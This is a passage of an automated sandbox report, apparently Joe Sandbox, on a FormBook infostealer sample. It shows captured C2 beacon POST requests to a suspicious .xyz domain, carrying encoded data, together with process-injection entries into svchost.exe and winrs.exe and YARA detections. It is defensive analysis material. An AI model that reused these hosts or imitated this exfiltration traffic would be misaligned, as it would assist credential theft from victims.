42	192.168.2.10	50018	199.59.243.227	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:33.167146921 CET	801	OUT	POST /pn0u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dating-apps-az-dn5.xyz Origin: http://www.dating-apps-az-dn5.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.dating-apps-az-dn5.xyz/pn0u/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 75 45 47 55 70 6a 72 30 6f 4d 64 69 59 2b 53 45 4b 4e 2b 33 31 42 34 58 37 33 54 45 64 2b 32 79 6c 46 47 74 7a 6e 57 4c 4c 56 66 54 50 68 36 56 6b 4b 48 66 43 70 57 2f 76 6e 72 37 2f 64 2f 7a 75 54 30 4e 32 4d 6b 78 56 5a 32 78 56 4a 39 58 6f 69 35 4a 73 6d 4f 38 48 4b 4d 53 59 35 6a 42 6a 54 66 58 6c 49 6a 49 53 63 55 48 51 6a 56 71 55 66 6c 6f 45 78 53 38 6c 4a 36 35 75 37 44 4b 61 68 7a 32 2f 6a 50 73 78 51 63 33 6a 79 61 37 50 44 74 47 53 4c 33 44 76 65 68 51 50 7a 43 59 6c 32 47 76 48 59 48 51 57 4a 64 34 58 31 6c 64 66 47 4c 72 34 70 32 30 4a 52 54 51 4c 46 36 72 50 68 49 65 63 4e 69 37 34 55 45 73 54 6a 73 2b 41 41 3d 3d Data Ascii: prh4=uEGUpjr0oMdiY+SEKN+31B4X73TEd+2ylFGtznWLLVfTPh6VkKHfCpW/vnr7/d/zuT0N2MkxVZ2xVJ9Xoi5JsmO8HKMSY5jBjTfXlIjIScUHQjVqUfloExS8lJ65u7DKahz2/jPsxQc3jya7PDtGSL3DvehQPzCYl2GvHYHQWJd4X1ldfGLr4p20JRTQLF6rPhIecNi74UEsTjs+AA==
Nov 20, 2024 09:25:33.612307072 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 08:25:33 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: cc1d64f8-1624-43ce-907b-f3a3354842fd cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bWcZewp8eISZBr0lUYb166dr3nPAuKFm8lkyMSyz0VztdD3st25mfrrotBOQpEyYQuOCOGrRVeBKclo1TlhzHg== set-cookie: parking_session=cc1d64f8-1624-43ce-907b-f3a3354842fd; expires=Wed, 20 Nov 2024 08:40:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 62 57 63 5a 65 77 70 38 65 49 53 5a 42 72 30 6c 55 59 62 31 36 36 64 72 33 6e 50 41 75 4b 46 6d 38 6c 6b 79 4d 53 79 7a 30 56 7a 74 64 44 33 73 74 32 35 6d 66 72 72 6f 74 42 4f 51 70 45 79 59 51 75 4f 43 4f 47 72 52 56 65 42 4b 63 6c 6f 31 54 6c 68 7a 48 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bWcZewp8eISZBr0lUYb166dr3nPAuKFm8lkyMSyz0VztdD3st25mfrrotBOQpEyYQuOCOGrRVeBKclo1TlhzHg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 09:25:33.612343073 CET	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiY2MxZDY0ZjgtMTYyNC00M2NlLTkwN2ItZjNhMzM1NDg0MmZkIiwicGFnZV90aW1lIjoxNzMyMDkxMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.10	50019	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:36.940895081 CET	1814	OUT	POST /pn0u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dating-apps-az-dn5.xyz Origin: http://www.dating-apps-az-dn5.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.dating-apps-az-dn5.xyz/pn0u/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 75 45 47 55 70 6a 72 30 6f 4d 64 69 59 2b 53 45 4b 4e 2b 33 31 42 34 58 37 33 54 45 64 2b 32 79 6c 46 47 74 7a 6e 57 4c 4c 56 48 54 50 53 43 56 6c 70 2f 66 45 5a 57 2f 77 58 72 32 2f 64 2b 76 75 54 38 4a 32 4d 67 68 56 62 2b 78 55 72 31 58 34 54 35 4a 2f 47 4f 38 61 61 4d 54 56 5a 6a 75 6a 54 50 62 6c 4c 4c 49 53 63 55 48 51 67 64 71 46 4b 5a 6f 43 78 53 39 73 70 36 31 38 4c 43 45 61 6e 62 6d 2f 6a 43 5a 78 68 38 33 69 54 32 37 43 52 31 47 61 4c 33 42 73 65 68 79 50 7a 66 49 6c 32 61 6a 48 59 62 71 57 4f 78 34 45 44 77 44 48 31 54 6f 74 37 36 79 4e 79 66 6f 45 6c 37 4d 46 7a 68 72 56 75 36 65 6b 56 64 61 57 54 67 30 51 34 77 46 69 66 63 4b 7a 2b 31 7a 4f 37 78 72 2f 55 76 68 4b 34 43 6b 76 38 67 5a 6b 52 2b 76 68 48 39 35 6c 5a 6e 61 68 64 44 6c 43 71 59 42 4f 72 75 63 62 34 45 50 33 76 4a 67 2f 69 39 5a 41 50 39 64 54 5a 45 57 58 48 58 77 75 5a 46 7a 65 34 42 57 30 52 45 4d 64 55 56 75 45 6d 44 63 79 75 45 51 72 75 32 6c 76 4b 68 4e 42 66 6b 64 6a 77 6d 63 66 58 77 44 55 4c 44 67 62 [TRUNCATED] Data Ascii: prh4=uEGUpjr0oMdiY+SEKN+31B4X73TEd+2ylFGtznWLLVHTPSCVlp/fEZW/wXr2/d+vuT8J2MghVb+xUr1X4T5J/GO8aaMTVZjujTPblLLIScUHQgdqFKZoCxS9sp618LCEanbm/jCZxh83iT27CR1GaL3BsehyPzfIl2ajHYbqWOx4EDwDH1Tot76yNyfoEl7MFzhrVu6ekVdaWTg0Q4wFifcKz+1zO7xr/UvhK4Ckv8gZkR+vhH95lZnahdDlCqYBOrucb4EP3vJg/i9ZAP9dTZEWXHXwuZFze4BW0REMdUVuEmDcyuEQru2lvKhNBfkdjwmcfXwDULDgbZHi06CLSerpNQKdoZ7vwLRvXdljD3Je8xx4xd95GNjbCm4SIKVr/YjB9UAFigRDNU/+wlTjlvfODBE0EwBgLSQncNvX3ZqHlVRng1Tfq0mlooty8Q4P9bsPV+kLWC+MIh01K7PjEyQmev89XM/8/ggNLGl/8xS1vh2ilwXEaNvdmyzI9zdDd66RCBoHmBU7BPGFp1Oi92xz6KyjwKZbQpyr2zH6czkLE/0fr3Z/tPWUaRHvJSbUJP4a0d9oP2hotCr4xbTS/LHV8QUsRkdXCPaCgjXLBNz39YU/VJ3Q/MkQ9SdmTCQ0S555soHVeecGEZmydca6TwtwrFAVI7ZwpjwexKU30BMpHudlnYt4W2VSmAMsMHmqjGNgHzlWAmwiShF18j30oJ3sMTgVyxuZhRB461Uzy4GUqSEwcg3XAGczEcP5IOYGoFFpkgino+uwFxzZlORJhcYKmgSOh2n/GIRTMQonGPEmIxGFmiuJbw8h9+3c8ifOCHPX+r9l4ZSN7an1cvupihDmqSQusWkIG4s30F8DUYQ0y71PmkRdVEkJGw+zhCq0FsDunMyCFumGaaUuTnHrT0zMMOdg4L6S0a0QMIKQRwDbk90XvE78HIZxUC+y9BxeP958Itxnxl+pumhS7wDQjBxcoyIaBPqI5fIkdkzzKZrPIsx [TRUNCATED]
Nov 20, 2024 09:25:37.379458904 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 08:25:37 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: 95025827-d181-4643-bba4-95ae9fdbddd9 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bWcZewp8eISZBr0lUYb166dr3nPAuKFm8lkyMSyz0VztdD3st25mfrrotBOQpEyYQuOCOGrRVeBKclo1TlhzHg== set-cookie: parking_session=95025827-d181-4643-bba4-95ae9fdbddd9; expires=Wed, 20 Nov 2024 08:40:37 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 62 57 63 5a 65 77 70 38 65 49 53 5a 42 72 30 6c 55 59 62 31 36 36 64 72 33 6e 50 41 75 4b 46 6d 38 6c 6b 79 4d 53 79 7a 30 56 7a 74 64 44 33 73 74 32 35 6d 66 72 72 6f 74 42 4f 51 70 45 79 59 51 75 4f 43 4f 47 72 52 56 65 42 4b 63 6c 6f 31 54 6c 68 7a 48 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bWcZewp8eISZBr0lUYb166dr3nPAuKFm8lkyMSyz0VztdD3st25mfrrotBOQpEyYQuOCOGrRVeBKclo1TlhzHg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 09:25:37.379492998 CET	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTUwMjU4MjctZDE4MS00NjQzLWJiYTQtOTVhZTlmZGJkZGQ5IiwicGFnZV90aW1lIjoxNzMyMDkxMT

Target ID:	0
Start time:	03:22:28
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\A2028041200SD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\A2028041200SD.exe"
Imagebase:	0x8f0000
File size:	1'214'464 bytes
MD5 hash:	65A28CDDB97884A94A7C9FAEF74300C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	8
Start time:	03:22:30
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\A2028041200SD.exe"
Imagebase:	0x100000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1391788061.0000000003250000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1391861547.0000000005400000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1390489944.00000000024B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	03:22:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe"
Imagebase:	0xa80000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.3132931690.0000000008020000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.3124924415.0000000004A00000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	03:22:35
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\winrs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\winrs.exe"
Imagebase:	0xa60000
File size:	43'008 bytes
MD5 hash:	E6C1CE56E6729A0B077C0F2384726B30
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3124723950.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3124795821.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3121706684.0000000000640000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	13
Start time:	03:23:01
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true